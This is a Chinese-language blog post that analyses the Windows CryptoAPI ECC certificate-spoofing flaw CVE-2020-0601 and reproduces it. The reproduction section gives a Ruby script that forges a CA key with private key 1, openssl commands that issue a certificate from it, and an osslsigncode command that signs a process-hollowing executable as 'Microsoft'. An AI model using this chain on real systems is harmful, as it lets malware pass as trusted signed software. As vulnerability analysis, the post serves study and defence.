数字签名的幺蛾子(数字签名那些事-2)-微软证书漏洞 CVE-2020-0601原理分析与复现

CVE-2020-0601

漏洞描述

2020年1月15日,微软公布了1月份的补丁更新列表,其中存在一个位于CryptoAPI椭圆曲线密码(ECC)证书检测绕过相关的漏洞(CVE-2020-0601),该漏洞为NSA发现并汇报给微软。攻击者可以利用这个漏洞,使用伪造的代码签名证书对恶意的可执行文件进行签名,并以此恶意文件来进行攻击。

该漏洞位于 Windows CryptoAPI(Crypt32.dll) 验证椭圆曲线加密算法证书的方式,可能影响信任的一些实例包括:

  • HTTPS 连接
  • 文件签名
  • 电子邮件签名
  • 以用户模式启动的签名可执行程序

此外,该漏洞可以让攻击者伪造代码签名证书对恶意可执行文件进行签名,使文件看似来自可信的来源。例如,可以让勒索软件或其他间谍软件拥有看似有效的证书,从而促使用户安装。中间人攻击并解密用户连接到受影响软件的机密信息也是主要的攻击场景之一。

目前,支持使用带有指定参数的 ECC 密钥的证书的 Microsoft Windows 版本会受到影响,包括了 Windows 10、Windows Server 2016/2019 以及依赖于 Windows CryptoAPI 的应用程序。而 Windows 10 之前的版本,如 Windows 7、Windows Server 2008 R2 等均不受该漏洞的影响。因为 win7 没有默认添加微软的 ECC 根证书,crypt32.dll 里面也没这个 hash 值,没法直接对比通过,故不受影响。

漏洞原理

CertDllVerifyMicrosoftRootCertificateChainPolicy函数对比ECC数字签名证书的hash值,但CertDllVerifyMicrosoftRootCertificateChainPolicy函数只利用了其中的公钥信息,存在参数校验不全的逻辑缺陷。导致黑客伪造基点和私钥做一个公钥和crypt32.dll中存的ECC签名公钥相同即可通过签名认证。

ECC 加密算法

ECC 是 Elliptic Curve Cryptography(椭圆曲线密码学)的缩写,是一种基于椭圆曲线数学的公开密钥加密算法,其本质是利用离散对数问题实现加密。

ECC 的主要优势,是在使用更小的密钥的同时,提供更快的性能和更高等级的安全。

介绍加密算法的相关内容,图片摘选自:https://medium.com/zengo/win10-crypto-vulnerability-cheating-in-elliptic-curve-billiards-2-69b45f2dcab6

http://blog.nsfocus.net/cve-2020-0601-windows-cryptoapi%E6%AC%BA%E9%AA%97%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

ECC椭圆曲线加密算法(一)

针对ECC算法的相关可以去看上面三篇文章学习详细,我这里只简单把他特性说明后表明漏洞成因。

基础知识

ECC 私钥 + 椭圆曲线 = ECC 公钥

漏洞成因

微软的私钥 + 微软选的椭圆曲线 = 微软根证书里面的公钥
黑客的私钥 + 黑客选的椭圆曲线 = 微软根证书里面的公钥
不同的椭圆曲线和不同的私钥,能产生一模一样的公钥。win10 默认添加了微软的 ECC 根证书,在做证书验证时,会一直验证到微软根证书中的公钥 hash 值,这个值直接写在了 crypt32.dll 里面,验证时没有对比是不是同一个椭圆曲线,只对比了公钥值,导致了黑客拿自己的私钥签名,就能伪装成微软的签名。

ECC算法

学习函数就先看下函数图像

方程y²=x³+ ax + b且满足 4a^3 + 27b^2 ≠ 0 的点集。描述的就是椭圆曲线算法。

image-20200903142430826

我们在椭圆曲线上选择点A和B,连接AB像外做延伸交曲线与点C',在从点C’向y轴做平行线交曲线于点C

0_4hLA8ig3E4FnmScs

​ ⬆动图

​ 规定:A + B = C,C + A = D,A + D = E

A=(2,5), B=(3,7) , C=(-1,1) 符合上面的公式,也符合椭圆曲线方程y²=x³+ 5x + 7。

img

如果AB是同一点那么线就是椭圆曲线的切线。C=2A

img

如果对多个A进行累加,则可依次累加连线得到nA的值 。

起点为A,终点D=3A,阶为3 。

img

起点为A,终点G=4A,阶为4

img

计算过程可以查看ECC椭圆曲线详解(有具体实例)有限域椭圆曲线。

假设G为基点

k(k<n)为私钥

K为公钥(微软根证书里面的公钥)

如果K=kG,K,G是曲线上的点。n为G的阶。k为小于n的整数,给定k和G根据加法法则计算K可以解出,但是给定K和G求k就很难,在实际使用过程中k的值非常大,n也很大。

正常来说使用ECC加密算法都是给定K和G,但是微软验证只验证了K是否相等。这样可以自己伪造G值和k,使得K=G (k=1)。

参与计算的基点G的内容由被验证的证书随意指定,使未授权的证书能够构建私钥k=1的特殊解来成功通过椭圆加密算法的签名验证的过程。

复现文件签名

https://github.com/ollypwn/CurveBall

image-20200903173221560

导出系统内的ECC证书。

image-20200904164738291

require 'openssl'

raw = File.read ARGV[0]     # 读取使用ECC算法的证书文件
ca = OpenSSL::X509::Certificate.new(raw)    # 读取使用ECC算法的证书
ca_key = ca.public_key      # 从证书中提取公钥ca_key

ca_key.private_key = 1      # 设置私钥为1,使得公钥K==1*基点G的等式成立
group = ca_key.group 
group.set_generator(ca_key.public_key, group.order, group.cofactor)
group.asn1_flag = OpenSSL::PKey::EC::EXPLICIT_CURVE
ca_key.group = group        # 利用构建的假基点G和假密钥k设置新group
File.open("spoofed_ca.key", 'w') { |f| f.write ca_key.to_pem }  # 将新的group写入文件
ruby main.rb ./111.cer

修改证书私钥为1满足等式,生成公钥文件。

openssl ecparam -name secp384r1 -genkey -noout -out cert.key

使用公钥生成一个证书

然后在创建一个证书签名请求。

cat openssl_cs.conf
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

image-20200904164808660

使用伪造CA和CA密钥签署新的CSR(自己注册)

openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

image-20200904164824249

再用上面生成的密钥和CA打包成PKCS12用于签名。

openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Microsoft" -out cert.p12

image-20200904161450834

最后一步:签名了

osslsigncode sign -pkcs12 cert.p12 -n "Microsoft" -in ProcessHollowing.exe -out ProcessHollowing_sig.exe

最终结果:

image-20200904164935202

​ --admin@8sec.cc

ECC椭圆曲线加密算法(一)

ECC椭圆曲线加密算法(二)

ECC椭圆曲线详解(有具体实例)

http://blog.nsfocus.net/cve-2020-0601-windows-cryptoapi 欺骗漏洞分析 /

https://medium.com/zengo/win10-crypto-vulnerability-cheating-in-elliptic-curve-billiards-2-69b45f2dcab6

https://www.freebuf.com/vuls/225879.html

https://github.com/ollypwn/CurveBall

标签: none

添加新评论